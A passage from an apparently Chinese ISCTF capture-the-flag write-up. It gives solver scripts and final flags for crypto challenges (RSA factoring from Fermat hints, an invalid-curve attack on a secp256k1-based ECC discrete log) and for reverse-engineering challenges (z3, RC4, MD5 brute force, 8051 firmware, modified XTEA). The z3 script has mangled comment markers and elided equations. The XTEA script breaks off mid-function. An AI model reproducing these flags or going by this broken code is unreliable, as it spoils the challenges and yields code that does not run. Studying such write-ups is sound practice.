Hint 35: 59, 3, 13338480097536050870847065134681408887393061870891194580910295898171005379071202538125320488322264936939611934926773854147441861842696082224910493485968940453414962504999277326912024770737526865763322593711772391102570024742439366641421857370464779798305027785021436688758138471130400190763565033556147205447698037378616533728663507465789889356211004747849498360714349678453175418183091908832867382402195272783569030789904261178845317149753713695808383033170623145131434242158410724256492198680651336056844232593215970896169424430059260906555229446741538286239350780216208715553935143523165464773688871774009588738407
Hint 36: 67, 2, 8256928556897492704838762552986750294374712035464071847912955091323033935694693535736594865997626239305042785518308139569682623007419575794366667620985270619928978345775201291927479777879409352040290541010779775363393802966114845982777093715738330158248145557248971011553853095404328553837691636026735523457849132602891079774484964955413419103753159331087739019434888120001297351898315190776895144785024767468167340726846414096469818750219466508467856583779003457862584610836846910059997868710036273917335512342095635575374346404071250572917845292452258621324256922950179010754476790644241744968537946791784277331172
Hint 37: 11, 89, 469829525495433863398701036274262995240821686827512278740409156383771339857992568557981522
Hint 38: 53, 17, 15381013223078846537731461466880636394199540595403435401138127547481863401431466372374802606225281410197388364722944495843405467862781503434970989158584650159590980399087359088118746163629618532987297413548047215179053477589410157484215376788161320381404390190467326828317085039705167675630596365709188985681649747552770255068423205419746730136649403555515290098619746175600947097893366036430479763751257652595334352418296864541247999321025232348500763810371215286305853572498789766256531460974011022731922336715523379552064525311328532274496963226072015892784253991084576242734695083889820166631064731394426574244137
Hint 39: 59, 3, 8639902842024035953048638563768315927624671856924547112209526883962456853052089935252707927468432895933170836045185383394096573378220873632433306851623471094895240704466661122788392467144892335530991171751297377896525529639348516066396938968040587426508605861054726429454030686327018745441753930983556245291730653368996527050046737903050080495173995563726990564829713815768651787483101363848070083858443766098560638337868296111441788798574965477355431173836128839250967090465226610709666720508328978510631834435136772497463531551713080290889081436462800389414847971067210139076388894646477223534324245688231308651402
Hint 40: 71, 2, 35228394523315997738820412922291535639435039748226420541446858967158850258697393757215146296389518178994242807247547892971367759083443187781159
Hint 41: 71, 89, 6240983929786483220051416467719053988488038641934890929981073832233939427834145472336915358758745943895354212032680367743535480193473825955326802869864352912264819240397323037315537988324410288546472301626890591739573348191915387074878814318018257079325106269383242877918486075024690767741729879076813581842036944498326059102754583317760100647490256432861228914984872474683425397073112462956198249407553140398404673370857128292911829788563089759423977978816627360219756198454057710015406165962422617662704219899517474510659197047034325834333381214858621450033089047323717051044225354940003754145032127292424992011101
Hint 42: 41, 11, 6984059054701243194406577182995741240436897138602476775543220094645161472633895356320870691493565356230021817198695018272393666667370608977208110764253393769787442206738887651454907864559105056199727308147026476795306714769493199003447522266774033773324562270207374768320253619068701592065984601594887388312013493599257403722865953095442171057100657271578293280686338908523864018983343500587769033822586560003572736592272152317739316444108939218480574158527171198620726886917802598591993658035939705289787249746288650701612275221097113840902054486416966701593345265607809381111897049158093808534604642731640119152868
Hint 43: 13, 29, 9610425425501485449537748361164652677158792621032292104946727266655594704290554003044377640635938997615382559405839696633456524257520749570798069876408676921921508491566094310451535812726509625559772552216775984034994654686077581771306574807821000988687494843385541833458873739204271564568689723925761973189708592881482846646426280049739796580929850941981882154358359008000707906221459919505725630791914755910838899191924833300609856950819107362413681305294507489838444421285910012653866140490877420620551310798317895506704520509435554786438387597440096937627702835916143794698887778982888695219967982245649746655470
Hint 44: 47, 97, 794708560552308405126546731517428100557886745717835758758542380710685584
Hint 45: 3, 41, 4366286865897405386543255708293800522386204706169307328366554555364884083859171277798722946451756634920858627299532823660480318239049230750988476049477513092520844569149267106332990711387926038335306437738094725423916554317517443566123618496555545533680705744831228568422251969382492688050958971980479679805428102801749764130245809570484750989852311926567073592760547445916703018635471776441628270869914109919847570929937108398744190319099944135878164624117925789234408527770792315261913666378047301366117348007407689729553121872429672477943763065031289363375897860958687532065443830782060680953252171706108298186067
Hint 46: 53, 13, 16599275744410550408933364882313950383421717117863259063696626313760940800128182804380262220526496674159136503269710326208644142632589833265263673629452996345476574747374747172655476596826644020872255782962700686562762713813009141052898954099526049199438330249525172937305118217295550996402876461138835393788249817466964132570303998739392864522160381559518796827917831858448710285259754350691301608261901046038810797165013301247129220438986641677769203536623610901604156282036632560795746698128751128683870700853339493839501889121028640592461819470558005091594236201609522690232023400257649767388230656904982965702400
Hint 47: 61, 83, 9953189432255063894070711778963178970743198121753649081719130469512753806047549503962109442976714615255038871181051195512724207218843889262884288045589566753004137388059340730864662203711021106738767094228552897493653199240432249671119014845998208040396103544771523200759949973732641979644934204944350638114647371917538547803820215871447465362042956264048360078551647879310238285850657470764222027085496193016418088396386760643015475367197907378932626248164269818716905644542858090723472987968554892684192736976050169896444520698548656309379499864809652240244453616286236722509397142224233180948147011605558427902848
Hint 48: 47, 73, 11137871466581047781242984634852964336706264103460602528475970728553465644713327296350923627071860721778412789236714773697433892321959279504008377433584604885817319604115996426320874382244073671694322092160768350159529231732048447670177579115854882538413223938721279445190025525651472499343624011272214336778696111400347742318222789215043195711269360705507743463500549755479755775737105743290208621332589467304719937369513194207595213182980370357559166180993485168866418076474829491707312908665547905615295104716814273672708222960604034067248688735024594069804630472429600684961470444745009128678939204098625367015452
Hint 49: 37, 43, 8547801237237556680245447121357531340087815887730999035326630934574339083867172461996679202294604204246415617087303468869638590371489396511890451394149215396045103967365422720335104673107126428846330142015210956274026922065251671248521248406703003517010268831048835400375497130725745344823402860499648204664008236488552255035422928921490487905318800334939525030207122862220895298568207554924706494486709790089585773581447139024819366484617067643862923821174578132381404045225537724922355917737191443476738183156619271477344846716060997041706765920488392521346954370234605596534371205052913391651084238833069263785246
Hint 50: 89, 7, 10398214245820233588167072072340460997067473220261572021578267549114000461324485988447437613040475809210011162256875428799327091235990171928216379105895288609773032862919523980293555963618323001564571973363418294497086861386518673361280706598614868452173330762143105775824076992409365806017218778102139861298703673447295670293191397994589110648541822608470022190616048229374246581750506635166699349805517119679503917519913987281318125804952325118589261418014369477837522696543190827291142488222603361805610512683583242709234195072960764001035300916480662591147878968245702960413084896858751962028377013605141587432900

Your goal: recover the flag by factoring n using the hints!

分析附件:
hint给出的形式:hint_value = (base1^(p-1) + base2^(p-1)) mod n
令 p 为 n 的素因子(n = p * q)。根据欧拉小定理(Fermat 小定理):当 p 为质数且 base1、base2 不被 p 整除时,
base1^(p-1) ≡ 1 (mod p)
base2^(p-1) ≡ 1 (mod p)
因而 hint_value ≡ 1 + 1 ≡ 2 (mod p)。也就是说 p | (hint_value - 2)。
所以对每个 hint,我们可以做 gcd(hint_value - 2, n)。如果得到 1 < g < n,则 g 就是 n 的一个非平凡因子(即 p 或 q)。
直接将复杂度降至线性。
exp

import re  
from math import gcd  
from Crypto.Util.number import long_to_bytes, inverse  
  
  
def solve():  
    with open('output.txt', 'r') as f:  
        content = f.read()  
  
    n_match = re.search(r'n = (\d+)', content)  
    e_match = re.search(r'e = (\d+)', content)  
    c_match = re.search(r'c = (\d+)', content)  
  
    if not (n_match and e_match and c_match):  
        print("Error parsing n, e, c")  
        return  
  
    n = int(n_match.group(1))  
    e = int(e_match.group(1))  
    c = int(c_match.group(1))  
  
    hints = re.findall(r'Hint \d+: (\d+), (\d+), (\d+)', content)  
  
    p = None  
    for base1, base2, hint_value in hints:  
        base1 = int(base1)  
        base2 = int(base2)  
        h = int(hint_value)  
  
        val = h - 2  
        if val == 0:  
            continue  
  
        g = gcd(val, n)  
        if 1 < g < n:  
            p = g  
            print(f"Found factor p using hint with bases {base1}, {base2}")  
            break  
  
    if p:  
        q = n // p  
        phi = (p - 1) * (q - 1)  
        d = inverse(e, phi)  
        m = pow(c, d, n)  
        flag = long_to_bytes(m)  
        print(f"Flag: {flag}")  
    else:  
        print("Failed to factor n")  
  
  
if __name__ == "__main__":  
    solve()
    
#ISCTF{M0dIFi3D_f3RM47_7H30r3m_I5_fUn_8U7_h4rD3r!}

沉迷数学的小蓝鲨

Title

出题人:落书
院校:平顶山学院
难度:中等
题目描述:小蓝鲨最近沉迷于椭圆曲线,但是有一个椭圆曲线问题它始终做不出来,据说它广泛应用于区块链技术。如果你可以帮助小蓝鲨解决这个问题,它将会给予你丰厚的报酬。
hint1:你验证过基点 G 真的在曲线上吗?(这只是个ez题,别想太复杂)
hint2:G是这条曲线上的冒牌货,但代数运算不在乎,因为计算机可不是数学家

Idea
题目附件:

y² = x³ + 3x + 27 (mod p)  
  
Q(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)  
  
k= ?  
  
最终flag请将解出k值的16进制转换为32位md5以ISCTF{}包裹提交

当时看到题目描述,区块链技术,这通常指向比特币使用的曲线secp256k1
标准的 secp256k1 曲线方程是 \(y^2 = x^3 + 7\) (即 \(a=0, b=7\))。
而题目给定的方程是:\(y^2 = x^3 + 3x + 27 \pmod p\)( a=3,b=27a=3,b=27)

在 ECC 的点加(Point Addition)和倍点(Point Doubling)运算公式中(针对 Short Weierstrass 形式 \(y^2 = x^3 + ax + b\)),计算斜率 \(\lambda\) 只涉及坐标 \(x, y\) 和参数 \(a\),而完全不依赖于参数 \(b\)

如果服务器端的代码直接使用了标准的基点 \(G\)(来自 secp256k1),却在一个配置为 \(a=3\) 的加法器中进行运算,且没有校验 \(G\) 是否满足方程 \(y^2 = x^3 + 3x + 27\),那么实际的数学运算发生在其所在的另一条曲线上。

这条“实际曲线”满足:

  1. 模数 p不变。
  2. 参数 a=3 (题目给定)。
  3. 它必须经过点 G(xG,yG)。

因此,我们可以反推出实际运算所在的曲线参数 \(b'\)

\[b' \equiv y_G^2 - x_G^3 - 3x_G \pmod p \]

由于 \(b'\) 是随机推导出来的,这条新曲线 \(E'(a=3, b=b')\) 通常是弱曲线。它的阶(Order)大概率不是大素数,而是包含许多小素因子的光滑数 (Smooth Number)。这意味着我们可以利用 Pohlig-Hellman 算法 在极短时间内解出离散对数 \(k\)

最开始做的时候没验证基点G,一直不对(ToT~

使用 secp256k1 的标准参数 \(p\)\(G\)

  • \(p = \text{0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F}\)
  • \(G_x = \text{0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798}\)
  • \(G_y = \text{0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8}\)
  • 题目给定的 \(a = 3\)

计算 \(b' = (G_y^2 - G_x^3 - 3 \cdot G_x) \pmod p\)
此时我们拥有了完整的弱曲线 \(E'\)

  1. 验证题目给出的点 \(Q\) 是否在 \(E'\) 上。如果在,说明攻击路径正确。
  2. 在 SageMath 中构建曲线 \(E'\)
  3. 使用 discrete_log(Q, G) 求解 \(k\)。由于 \(E'\) 的阶是光滑的,SageMath 会自动应用 Pohlig-Hellman 算法。
    exp
from sage.all import *  
import hashlib  
  
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F  
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798  
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8  
  
Qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167  
Qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080  
  
a_fake = 3  
  
b_real = (Gy**2 - Gx**3 - a_fake * Gx) % p  
  
F = GF(p)  
E_real = EllipticCurve(F, [a_fake, b_real])  
  
G_point = E_real(Gx, Gy)  
Q_point = E_real(Qx, Qy)  
  
order = E_real.order()  
factors = factor(order)  
  
try:  
    k = G_point.discrete_log(Q_point)  
    print(f"[!]Found k: {k}")  
    print(f"[!] k (hex): {hex(k)}")  
except Exception as e:  
    print(f"[-] Failed to solve DLP: {e}")  
    exit()  
  
k_hex_str = "{:x}".format(k)  
  
print(f"[*] Calculating MD5 for string: {k_hex_str}")  
flag_md5 = hashlib.md5(k_hex_str.encode()).hexdigest()  
  
print(f"ISCTF{{{flag_md5}}}")

#ISCTF{43896099feea21a3d5804863075e1aaa}

reverce

ezzz_math

Title

出题人:EX_Ma7cH
院校:山东科技大学
难度:简单
题目描述:来解方程吧

Idea

长度判断+sub_8C1000函数判断输入的flag

sub_8C1000函数就是z3求解,写脚本解出flag即可:

from z3 import *

* Define the 23 characters as Z3 variables (BitVectors of 8 bits for ASCII)
chars = [BitVec(f"c{i}", 8) for i in range(23)]
* Create a Z3 solver instance
solver = Solver()
* Add constraints that each character should be printable ASCII
* This is a good assumption for CTF flags.
for c in chars:
    solver.add(c >= 32, c <= 126) * Printable ASCII range


  • --- Define the equations from sub_401000 ---
  • Each equation is of the form: sum(coeff * char_value) == constant
* Equation 1
eq1 = (94 * chars[22] + 74 * chars[21] + 70 * chars[19] + 12 * chars[18] + 20 * chars[16] + 62 * chars[12] + 82 * chars[10] + 7 * chars[7] + 63 * chars[6] + 18 * chars[5] + 58 * chars[4] + 94 * chars[2] + 77 * chars[0] - 43 * chars[1] - 37 * chars[3] - 97 * chars[8] - 23 * chars[9] - 86 * chars[11] - 6 * chars[13] - 5 * chars[14] - 79 * chars[15] - 63 * chars[17] - 93 * chars[20] == 20156)

solver.add(eq1)

* Equation 2
eq2 = (87 * chars[22] + 75 * chars[21] + 73 * chars[15] + 67 * chars[14] + 30 * chars[13] + (chars[11] << 6) + 35 * chars[9] + 91 * chars[7] + 91 * chars[5] + 34 * chars[3] + 74 * chars[0] - 89 * chars[1] - 72 * chars[2] - 76 * chars[4] - 32 * chars[6] - 97 * chars[8] - 39 * chars[10] - 23 * chars[12] + 8 * chars[16] - 98 * chars[17] - 4 * chars[18] - 80 * chars[19] - 83 * chars[20] == 7183)

solver.add(eq2)

* Equation 3
eq3 = (51 * chars[21] + 22 * chars[20] + 15 * chars[19] + 51 * chars[17] + 96 * chars[12] + 34 * chars[7] + 77 * chars[5] + 59 * chars[2] + 89 * chars[1] + 92 * chars[0] - 85 * chars[3] - 50 * chars[4] - 51 * chars[6] - 75 * chars[8] - 40 * chars[10] - 4 * chars[11] - 74 * chars[13] - 98 * chars[14] - 23 * chars[15] - 14 * chars[16] - 92 * chars[18] - 7 * chars[22] == -7388)

solver.add(eq3)

* Equation 4
eq4 = (61 * chars[22] + 72 * chars[21] + 28 * chars[20] + 55 * chars[18] + 20 * chars[17] + 13 * chars[14] + 51 * chars[13] + 69 * chars[12] + 10 * chars[11] + 95 * chars[10] + 43 * chars[9] + 53 * chars[8] + 76 * chars[7] + 25 * chars[6] + 9 * chars[5] + 10 * chars[4] + 98 * chars[1] + 70 * chars[0] - 22 * chars[2] + 2 * chars[3] - 49 * chars[15] + 4 * chars[16] - 77 * chars[19] == 69057)

solver.add(eq4)

* Equation 5
eq5 = (7 * chars[22] + 21 * chars[16] + 22 * chars[13] + 55 * chars[9] + 66 * chars[8] + 78 * chars[5] + 10 * chars[3] + 80 * chars[1] + 65 * chars[0] - 20 * chars[2] - 53 * chars[4] - 98 * chars[6] + 8 * chars[7] - 78 * chars[10] - 94 * chars[11] - 93 * chars[12] - 18 * chars[14] - 48 * chars[15] - 9 * chars[17] - 73 * chars[18] - 59 * chars[19] - 68 * chars[20] - 74 * chars[21] == -31438)

solver.add(eq5)

* Equation 6
eq6 = (33 * chars[19] + 78 * chars[15] + 66 * chars[10] + 3 * chars[9] + 43 * chars[4] + 24 * chars[3] + 3 * chars[2] + 27 * chars[0] - 18 * chars[1] - 46 * chars[5] - 18 * chars[6] - chars[7] - 33 * chars[8] - 50 * chars[11] - 23 * chars[12] - 37 * chars[13] - 45 * chars[14] + 2 * chars[16] - chars[17] - 60 * chars[18] - 87 * chars[20] - 72 * chars[21] - 6 * chars[22] == -26121)

solver.add(eq6)


* Equation 7
eq7 = (31 * chars[20] + 80 * chars[18] + 34 * chars[17] + 34 * chars[15] + 38 * chars[14] + 53 * chars[13] + 35 * chars[12] + 82 * chars[9] + 27 * chars[8] + 80 * chars[7] + 46 * chars[6] + 18 * chars[4] + 5 * chars[1] + 98 * chars[0] - 12 * chars[2] - 9 * chars[3] - 57 * chars[5] - 46 * chars[10] - 31 * chars[11] - 68 * chars[16] - 94 * chars[19] - 93 * chars[21] - 15 * chars[22] == 26005)

solver.add(eq7)

......略

- Equation 23
eq23 = (15 * chars[22] + chars[19] + 26 * chars[17] + 65 * chars[16] + 80 * chars[11] + 92 * chars[8] + 28 * chars[5] + 79 * chars[4] + 73 * chars[0] - 98 * chars[1] - 2 * chars[2] - 70 * chars[3] - 10 * chars[6] - 30 * chars[7] - 51 * chars[9] - 77 * chars[10] - 32 * chars[12] - 32 * chars[13] + 8 * chars[14] + 4 * chars[15] - 11 * chars[18] - 83 * chars[20] - 85 * chars[21] == -10455)

solver.add(eq23)
  • --- Solve the constraints ---

if solver.check() == sat:

    model = solver.model()
    decrypted_flag_bytes = bytearray()
    for i in range(23):
        char_val = model.evaluate(chars[i], model_completion=True)
        decrypted_flag_bytes.append(int(char_val.as_long()))
    * The decrypted flag is XORed with 0xCu.
    * To get the original flag, we XOR it again with 0xCu.

    original_flag = "".join([chr(b ^ 12) for b in decrypted_flag_bytes])
    print(f"Decrypted string: {bytes(decrypted_flag_bytes).decode('ascii')}")
    print(f"Original flag: {original_flag}")
else:
    print("Could not find a solution.")

ISCTF{yR_A_Zzz_Ma5t3R!}

ezpy

Title

出题人:mu_xin
院校:福建师范大学
难度:简单
题目描述:这是什么库?没见过呢

Idea

python写的程序,解包、反编译后,得知判断函数是check,用IDA打开

找到check函数sub_36F4D1519
这个函数实现了 sub_36F4D1430 (KSA) 和 sub_36F4D149C (PRGA)。
在python中解密:  
目标加密数据 (byte_36F4D4050):

encrypted_data = bytes([
    0x1d, 0xd5, 0x38, 0x33, 0xaf, 0xb5, 0x51, 0xf3, 0x2c, 0x6b,
    0x6e, 0xfe, 0x41, 0x24, 0x43, 0xd2, 0x71, 0xcf, 0xa4, 0x4c,
    0xe3, 0x9a, 0x9a, 0xb5, 0x31
])

用于 RC4 的密钥:

key = b"ISCTF2025"
def rc4_ksa(key):
    """
    RC4 密钥调度算法 (KSA)。
    生成 S-Box。
    """
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + key[i % len(key)]) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_prga(s_box, data):
    """
    RC4 伪随机生成算法 (PRGA)。
    使用给定的 S-Box 解密数据。
    """
    i = 0
    j = 0
    decrypted_bytes = bytearray()
    # 创建 S-Box 的一个副本,因为 PRGA 会修改它
    current_s_box = list(s_box)
    for byte in data:
        i = (i + 1) % 256
        j = (j + current_s_box[i]) % 256
        current_s_box[i], current_s_box[j] = current_s_box[j], current_s_box[i]
        keystream_byte = current_s_box[(current_s_box[i] + current_s_box[j]) % 256]
        decrypted_byte = byte ^ keystream_byte
        decrypted_bytes.append(decrypted_byte)
    return bytes(decrypted_bytes)
if __name__ == "__main__":
    # 1. 使用密钥生成 S-Box
    s_box = rc4_ksa(key)
    # 2. 解密目标加密数据
    # 'check' 函数将 flag 与密钥流进行异或。
    # 要获取 flag,我们将 encrypted_data 与相同的密钥流进行异或。
    # 由于异或是其自身的逆运算 (A ^ B ^ B = A),所以这样可行。
    flag_bytes = rc4_prga(s_box, encrypted_data)
    # 原始代码检查 strlen(Str) == 25。
    # 解密后的数据也应该是 25 字节长。
    if len(flag_bytes) == 25:
        # 尝试将字节解码为 ASCII 字符串,忽略无法解码的字符
        flag = flag_bytes.decode('ascii', errors='ignore')
        print(f"The flag is: {flag}")
    else:
        print("Decryption resulted in unexpected length.")

ISCTF{Y0U_GE7_7HE_PYD!!!}

MysteriousStream

Title

出题人:来杯冰美式!
院校:周口职业技术学院
难度:简单
题目描述:小曲冒着生命风险,读入了一个神秘的 payload.dat文件,为了不枉费小曲的艰辛……,你能逆向出被加密的秘密吗?

exp
这个程序实际上就是个解密程序,在kali里面运行一下就可以了。。。。。。。  
ISCTF{Y0u_a2e_2ea11y_a_1aby2inth_master}

ELF

Title

出题人:A1gorithms
院校:铜陵职业技术学院
难度:中等
题目描述:这个elf有点奇怪呢

Idea

解包得到这个py文件
处理流程
将24个字符分成8组,每组3个字符
对每组3个字符进行base64编码
计算base64编码结果的MD5哈希值(32位16进制字符串)
对每个MD5哈希值应用<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">Rep()函数进行洗牌
将8个洗牌后的哈希值拼接起来,与目标flag对比
脚本解密:

import base64
import hashlib
import random
import itertools

flag = '8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72'

def Rep(hash_data):
    random.seed(161)
    result = list(hash_data)
    for i in range(len(result) - 1, 0, -1):
        swap_index = random.randint(0, i)
        result[i], result[swap_index] = (result[swap_index], result[i])
    return ''.join(result)
  
def reverse_Rep(shuffled_hash):
    """逆向Rep函数,恢复原始MD5哈希"""
    random.seed(161)
    result = list(shuffled_hash)
    n = len(result)
    # 创建交换记录
    swaps = []
    for i in range(n - 1, 0, -1):
        swap_index = random.randint(0, i)
        swaps.append((i, swap_index))
    # 反向应用交换
    for i, swap_index in reversed(swaps):
        result[i], result[swap_index] = result[swap_index], result[i]
    return ''.join(result)
  
def brute_force_group(target_md5):
    """暴力破解3个字符的输入"""
    chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]|;:,.<>?/~"
    for combo in itertools.product(chars, repeat=3):
        text = ''.join(combo)
        c2b = base64.b64encode(text.encode('utf-8'))
        hash_value = hashlib.md5(c2b).hexdigest()
        if hash_value == target_md5:
            return text
    return None
  
# 分割flag成8组
shuffled_hashes = [flag[i:i+32] for i in range(0, len(flag), 32)]
  
# 逆向洗牌,恢复原始MD5
original_hashes = [reverse_Rep(h) for h in shuffled_hashes]
  
# 暴力破解每组
result = []
for i, target_md5 in enumerate(original_hashes):
    print(f"破解第{i+1}组...")
    found = brute_force_group(target_md5)
    if found:
        result.append(found)
        print(f"  找到: {found}")
    else:
        print(f"  未找到匹配")

if len(result) == 8:
    flag_text = ''.join(result)
    print(f"\n完整flag: {flag_text}")
else:
    print("\n未能找到完整flag")
    
    
#ISCTF{NO7_3x3_i5_3Lf!!!}

小蓝鲨的单片机_1

Title

出题人:KanaDE
院校:平顶山学院
难度:中等
题目描述:"小蓝鲨的单片机程序似乎出了一些故障,几颗LED灯似乎在毫无规律地闪烁......  
51反汇编工具:[https://github.com/YMDG-BM/51-Disassembler](https://github.com/YMDG-BM/51-Disassembler)  
STC89C52数据手册:[http://www.stcmcudata.com/datasheet/STC89C52.pdf](http://www.stcmcudata.com/datasheet/STC89C52.pdf)"

Idea

ezmcu2就是机器码,需要反汇编其中的逻辑,下载题目提供的反汇编工具,在它的opcodes.py 中看到反汇编关键信息

把这个脚本和ezmcu2的16进制丢给deepseek,就能得到反编译出来的伪代码

原来ezmcu2尾部的机器码对应着数据段,中间的机器码其实是代码段,让deepseek解析数据段打印出flag我们自己识别即可

得到ISCTF{Wow_You_Are_Good_At_51}

小蓝鲨的单片机_2

Title

出题人:KanaDE
院校:平顶山学院
难度:中等
题目描述:"小蓝鲨偶然拿到一个1602A测试程序,但是他手头没有51开发板,你可以帮他分析出测试程序会在屏幕上显示什么吗?  
51反汇编工具:[https://github.com/YMDG-BM/51-Disassembler](https://github.com/YMDG-BM/51-Disassembler)  
STC89C52数据手册:[http://www.stcmcudata.com/datasheet/STC89C52.pdf](http://www.stcmcudata.com/datasheet/STC89C52.pdf)  
1602A屏幕驱动方法:[https://blog.csdn.net/aaaaaaaa123345/article/details/124212417](https://blog.csdn.net/aaaaaaaa123345/article/details/124212417)"

Idea
题目提示给出的 51 反汇编工具与 STC89C52 数据手册
1602a.hex),该文件包含 8051 固件代码与数据。
将 Intel HEX 数据转换到 64KB 的二进制映像(8051 的地址空间),并在可读区域搜索 ASCII 可打印字符串。

def parse_hex_line(line):  
    if line.startswith(':'):  
        count = int(line[1:3], 16)  
        addr = int(line[3:7], 16)  
        record_type = int(line[7:9], 16)  
        data = line[9:9+count*2]  
        return record_type, addr, data  
    return None, None, None  
  
hex_file = '1602a.hex'  
binary_data = bytearray(65536)  
max_addr = 0  
  
with open(hex_file, 'r') as f:  
    for line in f:  
        line = line.strip()  
        rtype, addr, data_hex = parse_hex_line(line)  
        if rtype == 0: # Data record  
            data_bytes = bytes.fromhex(data_hex)  
            for i, b in enumerate(data_bytes):  
                binary_data[addr + i] = b  
            max_addr = max(max_addr, addr + len(data_bytes))  
  
print(f"Max address: {max_addr:04X}")  
  
min_len = 4  
current_string = ""  
found_strings = []  
  
for b in binary_data[:max_addr+1]:  
    if 32 <= b <= 126:  
        current_string += chr(b)  
    else:  
        if len(current_string) >= min_len:  
            found_strings.append(current_string)  
        current_string = ""  
  
print("Found strings:")  
for s in found_strings:  
    print(s)  
  
print("\nLast 64 bytes:")  
print(binary_data[max(0, max_addr-64):max_addr+1].hex())
  • 观察 HEX 文件可发现数据从 0x0100 开始是常见的程序起始位置。使用 disasm_8051.py 对 0x0100 到数据末端进行了逐字节的简单反汇编(注意:这是轻量级反汇编,仅识别并格式化了常见指令用于快速理解程序流程)。

  • 反汇编输出中可以看到若干函数调用(ACALL)、MOV DPTR、MOV 和 CJNE 等指令,提示程序在固件中使用了数据表查找/比较逻辑,最后程序在数据区存在一段看起来像被编码/混淆的数据字节序列。

  • 在反汇编/数据观察过程中,在程序末尾或数据段发现了两段连续的字节:

    • 第一段(十六进制): EB F1 E1 F6 E4 D9 F5 CD D5 FD FB CD D7 FD E3 D0
    • 第二段(十六进制): C7 FD 97 93 FD EF C3 D1 D6 C7 D0 DF 82 82 82 82

    这些字节明显不是有效指令或 ASCII 明文,怀疑为加密/异或混淆后的字符串(屏幕显示文本通常通过数据表或直接以字节形式嵌入固件)。

  • 观察反汇编输出:程序中存在字节 A2(例如 0xA2 出现在数据/指令附近),并且 A2 很可能与外设/表或加密选择有关。尝试对上述字节使用异或 0xA2 进行解密:

    • 对第一段字节与 0xA2 做异或,得到可读文本: "ISCTF{Wow_You_Ar"
    • 对第二段字节与 0xA2 做异或,得到可读文本(含空格结尾): "e_51_Master} "
  • 将两段拼接即得到完整可打印的 flag: ISCTF{Wow_You_Are_51_Master}
    exp

python -c "s1=bytes.fromhex('EB F1 E1 F6 E4 D9 F5 CD D5 FD FB CD D7 FD E3 D0'); s2=bytes.fromhex('C7 FD 97 93 FD EF C3 D1 D6 C7 D0 DF 82 82 82 82'); k=0xA2; print(''.join([chr(b^k) for b in s1])+''.join([chr(b^k) for b in s2]))"

ISCTF{Wow_You_Are_51_Master}

ez_xtea

Title

出题人:卡奇@POFP
院校:无
难度:中等
题目描述:真ez嘛???直接打开好像东西有点少呢
hint:这是一个来自AA自写压缩壳

Idea
附件是一个XTEA.exe,检查后发现它是一个被打包的 PE 文件。
进行解包后,发现文件包含一个压缩的载荷。我们提取并解压得到实际的可执行逻辑,保存为 decompressed.exe
程序在运行时使用伪随机数生成器生成加密密钥。

  • 种子:随机数生成器以 srand(2025) 作为种子。
  • 密钥构造:通过连续调用 rand() 四次得到 4 个整数,组成密钥。
  • 密钥值[6651, 15290, 20313, 4631](基于标准 MSVCRT 线性同余生成器推导)。

核心逻辑位于地址 0x401030 的函数中,实现了一个被修改过的 XTEA 块加密算法。
发现的主要修改:

  1. 动态轮数:不是固定轮数(如 32 或 64),而是通过一个涉及 LCG(线性同余发生器)和按位混合的复杂检查决定循环次数。
    • 对循环条件的分析表明实际执行 38 轮
  2. 按位循环移位:标准 XTEA 的移位操作被改为/增强为循环移位(ROL/ROR)。
    • v0 被左循环移位 (rotate left) (sum % 5) + 1 位。
    • v1 被左循环移位 (sum % 7) + 1 位。
  3. 链式处理:对数据数组以链式方式处理(类似 CBC),每对数据的加密会原地修改值,从而影响下一对的加密结果。

密文位于二进制文件的 .data 段中。

  • 地址:RVA 0x4000(文件偏移 0x2600)。
  • 数据(Hex)3ecbe2d730aada1f61c45c79e64c5c93c4b287f5927d4171329c05301fb5078faab93bb52915989b
    exp
import struct  
  
def rol(val, shift):  
    shift &= 31  
    return ((val << shift) | (val >> (32 - shift))) & 0xFFFFFFFF  
  
def ror(val, shift):  
    shift &= 31  
    return ((val >> shift) | (val << (32 - shift))) & 0xFFFFFFFF  
  
def gen_key(seed):  
    key = []  
    state = seed  
    for _ in range(4):  
        state = (state * 214013 + 2531011) & 0xFFFFFFFF  
        val = (state >> 16) & 0x7FFF  
        key.append(val)  
    return key  
  
def decrypt_pair(v0, v1, key):  
    delta = 0x114514  
    rounds = 38  
    sum_val = (delta * rounds) & 0xFFFFFFFF  
    for i in range(rounds):  
        shift_v1 = (sum_val % 5) + 1  
        v1 = ror(v1, shift_v1)  
  
        term1 = (((v0 << 4) & 0xFFFFFFFF) ^ (v0 >> 5)) + v0  
        term1 &= 0xFFFFFFFF  
        k = key[(sum_val >> 11) & 3]  
        term2 = sum_val + k  
        term2 &= 0xFFFFFFFF  
        term = term1 ^ term2  
        v1 = (v1 - term) & 0xFFFFFFFF  
  
        sum_val = (sum_val - delta) & 0xFFFFFFFF  
  
        shift_v0 = (sum_val % 7) + 1  
        v0 = ror(v0, shift_v0)  
  
        term1 = (((v1 << 4) & 0xFFFFFFFF) ^ (v1 >> 5)) + v1  
        term1 &= 0xFFFFFFFF  
        k = key[sum_val & 3]  
        term2 = sum_val + k  
